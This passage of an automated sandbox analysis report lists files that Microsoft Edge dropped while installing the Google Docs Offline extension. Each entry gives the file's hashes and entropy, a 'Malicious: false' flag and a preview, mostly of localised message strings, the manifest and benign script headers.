Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

